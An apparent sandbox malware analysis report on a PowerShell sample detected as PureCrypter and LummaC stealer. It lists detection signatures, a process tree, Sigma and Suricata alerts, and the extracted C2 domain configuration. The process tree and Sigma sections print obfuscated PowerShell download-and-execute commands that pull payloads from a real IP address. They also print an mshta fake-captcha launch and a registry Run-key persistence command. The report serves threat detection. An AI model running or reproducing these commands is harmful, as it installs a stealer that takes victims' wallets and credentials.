Edit tour

Windows Analysis Report
00.ps1

Overview

General Information

Sample name:	00.ps1
Analysis ID:	1591695
MD5:	8067bbe2706cbd02f6885c17c186e6cd
SHA1:	2d8e307684b8b5f8a8a68d5892db6879eaa69b25
SHA256:	44be296b2cbb2b21f81aa170020314425962a7e935678fbab1f4845e953aeecb
Infos:

Detection

PureCrypter, LummaC, LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Detected PureCrypter Trojan

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Queries memory information (via WMI often done to detect virtual machines)

Queries sensitive Plug and Play Device Information (via WMI, Win32_PnPEntity, often done to detect virtual machines)

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Sample uses string decryption to hide its real strings

Sigma detected: Potentially Suspicious PowerShell Child Processes

Sigma detected: Suspicious MSHTA Child Process

Suspicious powershell command line found

Tries to harvest and steal Bitcoin Wallet information

Writes to foreign memory regions

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the clipboard data

Contains functionality to record screenshots

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates a window with clipboard capturing capabilities

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for the Microsoft Outlook file path

Sigma detected: Change PowerShell Policies to an Insecure Level

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64native

powershell.exe (PID: 6260 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\00.ps1" MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 4100 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

mshta.exe (PID: 6112 cmdline: "C:\Windows\system32\mshta.exe" https://view-reserve.com/recaptcha-verify.html MD5: 0B4340ED812DC82CE636C00FA5C9BEF2)

powershell.exe (PID: 8332 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8340 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

RegSvcs.exe (PID: 8988 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

RegSvcs.exe (PID: 8996 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

powershell.exe (PID: 8400 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/2.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8444 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

RegSvcs.exe (PID: 9072 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

powershell.exe (PID: 8460 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/3.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X MD5: 04029E121A0CFA5991749937DD22A1D9)

conhost.exe (PID: 8492 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 81CA40085FC75BABD2C91D18AA9FFA68)

RegSvcs.exe (PID: 9108 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

RegSvcs.exe (PID: 9116 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
PureCrypter	According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021The malware has been observed distributing a variety of remote access trojans and information stealersThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software productsPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Googles Protocol Buffer message format	No Attribution	https://any.run/cybersecurity-blog/pure-malware-family-analysis/ https://blog.netlab.360.com/purecrypter-is-busy-pumping-out-various-malicious-malware-families/ https://blog.sekoia.io/mallox-ransomware-affiliate-leverages-purecrypter-in-microsoft-sql-exploitation-campaigns/ https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter	https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["savorraiykj.lat", "kickykiduz.lat", "miniatureyu.lat", "finickypwk.lat", "washyceehsu.lat", "curtainykeo.lat", "leggelatez.lat", "shoefeatthe.lat", "bloodyswif.lat"], "Build id": "atxOT1--traff12"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000C.00000002.59499668768.0000000002A1E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: powershell.exe PID: 8332	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 8400	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: powershell.exe PID: 8460	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegSvcs.exe PID: 8996	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: RegSvcs.exe PID: 9072	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 2 entries

Other

Source	Rule	Description	Author
amsi64_8332.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_8400.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
amsi64_8460.amsi.csv	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security

Sigma Signatures

System Summary

Sigma detected: Potentially Suspicious PowerShell Child Processes

Source: Process started

Author: Florian Roth (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\system32\mshta.exe" https://view-reserve.com/recaptcha-verify.html, CommandLine: "C:\Windows\system32\mshta.exe" https://view-reserve.com/recaptcha-verify.html, CommandLine|base64offset|contains: , Image: C:\Windows\System32\mshta.exe, NewProcessName: C:\Windows\System32\mshta.exe, OriginalFileName: C:\Windows\System32\mshta.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\00.ps1", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6260, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\mshta.exe" https://view-reserve.com/recaptcha-verify.html, ProcessId: 6112, ProcessName: mshta.exe

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X , CommandLine|base64offset|contains: ", Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\system32\mshta.exe" https://view-reserve.com/recaptcha-verify.html, ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 6112, ParentProcessName: mshta.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $c1='%%(N%%ew-O%%%bje%%%ct N%%%et.W%%%e'; $c4='b%%Cl%%%%ie%%nt%%).%%%D%%%ow%nl%%o%%'; $c3='a%%dSt%%%%ri%%%%%n%%%g(''http://92.255.57.112/1/1.png'')';$TC=($c1,$c4,$c3 -Join '');$TC=$TC.replace('%','');I`E`X $TC|I`E`X , ProcessId: 8332, ProcessName: powershell.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\00.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\00.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 5064, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\00.ps1", ProcessId: 6260, ProcessName: powershell.exe

Sigma detected: Wow6432Node CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: mshta vbscript:close(CreateObject("WScript.Shell").Run("powershell $L='(New-Object Net.We';$Y='bClient).Downlo';$V='adString(''http://92.255.57.112/1/2.png'')';$F=I`E`X ($L,$Y,$V -Join '')|I`E`X",0)), EventID: 13, EventType: SetValue, Image: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe, ProcessId: 8996, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\(Default)

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\00.ps1", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\00.ps1", CommandLine|base64offset|contains: z, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 5064, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noLogo -ExecutionPolicy unrestricted -file "C:\Users\user\Desktop\00.ps1", ProcessId: 6260, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T10:18:41.878148+0100	2028371	3	Unknown Traffic	192.168.11.20	49773	23.47.27.74	443	TCP

ET MALWARE Generic AsyncRAT Style SSL Cert

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T10:18:46.835545+0100	2035595	1	Domain Observed Used for C2 Detected	92.255.57.112	56001	192.168.11.20	49774	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bloodyswif .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T10:18:40.713938+0100	2059189	1	Domain Observed Used for C2 Detected	192.168.11.20	50147	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (curtainykeo .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T10:18:40.609977+0100	2059221	1	Domain Observed Used for C2 Detected	192.168.11.20	64236	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (finickypwk .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T10:18:41.453265+0100	2059191	1	Domain Observed Used for C2 Detected	192.168.11.20	50505	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (kickykiduz .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T10:18:41.140323+0100	2059199	1	Domain Observed Used for C2 Detected	192.168.11.20	50841	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (leggelatez .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T10:18:40.927416+0100	2059201	1	Domain Observed Used for C2 Detected	192.168.11.20	53799	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (miniatureyu .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T10:18:41.034271+0100	2059203	1	Domain Observed Used for C2 Detected	192.168.11.20	62757	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (savorraiykj .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T10:18:41.243846+0100	2059207	1	Domain Observed Used for C2 Detected	192.168.11.20	59050	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (shoefeatthe .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T10:18:41.349146+0100	2059209	1	Domain Observed Used for C2 Detected	192.168.11.20	63616	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (washyceehsu .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T10:18:40.821663+0100	2059211	1	Domain Observed Used for C2 Detected	192.168.11.20	49219	1.1.1.1	53	UDP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-15T10:18:42.232242+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.11.20	49773	23.47.27.74	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://92.255.57.112/1/3.png	Avira URL Cloud: Label: malware
Source: bloodyswif.lat	Avira URL Cloud: Label: malware
Source: curtainykeo.lat	Avira URL Cloud: Label: malware
Source: leggelatez.lat	Avira URL Cloud: Label: malware
Source: miniatureyu.lat	Avira URL Cloud: Label: malware
Source: kickykiduz.lat	Avira URL Cloud: Label: malware
Source: finickypwk.lat	Avira URL Cloud: Label: malware
Source: shoefeatthe.lat	Avira URL Cloud: Label: malware
Source: https://washyceehsu.lat/	Avira URL Cloud: Label: malware
Source: washyceehsu.lat	Avira URL Cloud: Label: malware
Source: http://92.255.57.112/1/2.png	Avira URL Cloud: Label: malware
Source: https://view-reserve.com/recaptcha-verify.html...	Avira URL Cloud: Label: malware
Source: savorraiykj.lat	Avira URL Cloud: Label: malware
Source: http://92.255.57.112/1/1.png	Avira URL Cloud: Label: malware
Source: https://view-reserve.com/recaptcha-verify.html	Avira URL Cloud: Label: malware

Found malware configuration

Source: 14.2.RegSvcs.exe.400000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["savorraiykj.lat", "kickykiduz.lat", "miniatureyu.lat", "finickypwk.lat", "washyceehsu.lat", "curtainykeo.lat", "leggelatez.lat", "shoefeatthe.lat", "bloodyswif.lat"], "Build id": "atxOT1--traff12"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Sample uses string decryption to hide its real strings

Source: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: finickypwk.lat
Source: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: shoefeatthe.lat
Source: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: savorraiykj.lat
Source: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: kickykiduz.lat
Source: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: miniatureyu.lat
Source: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: leggelatez.lat
Source: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: washyceehsu.lat
Source: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: bloodyswif.lat
Source: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: curtainykeo.lat
Source: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 0000000E.00000002.58322049752.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: atxOT1--traff12

Source: unknown	HTTPS traffic detected: 92.255.57.120:443 -> 192.168.11.20:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.47.27.74:443 -> 192.168.11.20:49773 version: TLS 1.2

Source:	Binary string: \??\C:\Windows\System.Core.pdbpdbcr source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFCA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdb source: powershell.exe, 00000006.00000002.58452952666.0000025BB0288000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Core.pdbpdbore.pdb91b8c6 source: powershell.exe, 00000006.00000002.58452952666.0000025BB0288000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Management.Automation.pdbl source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFCA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdbsM source: powershell.exe, 00000006.00000002.58452952666.0000025BB021E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Core.pdbFiles source: powershell.exe, 00000006.00000002.58452952666.0000025BB021E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbgz source: powershell.exe, 00000004.00000002.58389738530.0000015EAAF2D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.58389738530.0000015EAAF2D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Core.pdb=C:\P source: powershell.exe, 00000006.00000002.58452952666.0000025BB021E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000006.00000002.58452952666.0000025BB01EF000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Core.pdbpdbore.pdb 158 Stepping 13, GenuineIntelPROCES source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFCA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb[ source: powershell.exe, 00000006.00000002.58452952666.0000025BB01DD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Y]xn.pdb source: powershell.exe, 00000008.00000002.58462627995.00000199FF735000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: #.dll.pdb source: powershell.exe, 00000004.00000002.58302816703.0000015E92C84000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.58398618045.0000015EAB270000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000006.00000002.58310832394.0000025B97E94000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58308550972.00000199803D4000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Core.pdbO source: powershell.exe, 00000006.00000002.58452952666.0000025BB021E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.58389738530.0000015EAAF2D000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58457730531.00000199FF4CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFCA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58452952666.0000025BB021E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58462627995.00000199FF7D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdbo source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFCA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdbP source: powershell.exe, 00000008.00000002.58462627995.00000199FF735000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbP source: powershell.exe, 00000008.00000002.58457730531.00000199FF4CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Core.pdbpdbore.pdb source: powershell.exe, 00000008.00000002.58462627995.00000199FF7D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000008.00000002.58462627995.00000199FF7D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb( source: powershell.exe, 00000008.00000002.58457730531.00000199FF4CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdb+$m source: powershell.exe, 00000008.00000002.58462627995.00000199FF7D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdbO$I source: powershell.exe, 00000008.00000002.58462627995.00000199FF7D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbam F( source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFCA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Management.Automation.pdbpdbion.pdb4 source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFCA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFCA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58452952666.0000025BB0288000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.58451615184.0000025BAFF33000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58462627995.00000199FF720000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdbuo source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFCA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbpdb source: powershell.exe, 00000006.00000002.58452952666.0000025BB01BB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32ersion=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFAE000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58462627995.00000199FF7D1000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Core.pdb source: powershell.exe, 00000004.00000002.58389738530.0000015EAAFCA000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.58457730531.00000199FF430000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\System.Core.pdb source: powershell.exe, 00000008.00000002.58457730531.00000199FF430000.00000004.00000020.00020000.00000000.sdmp
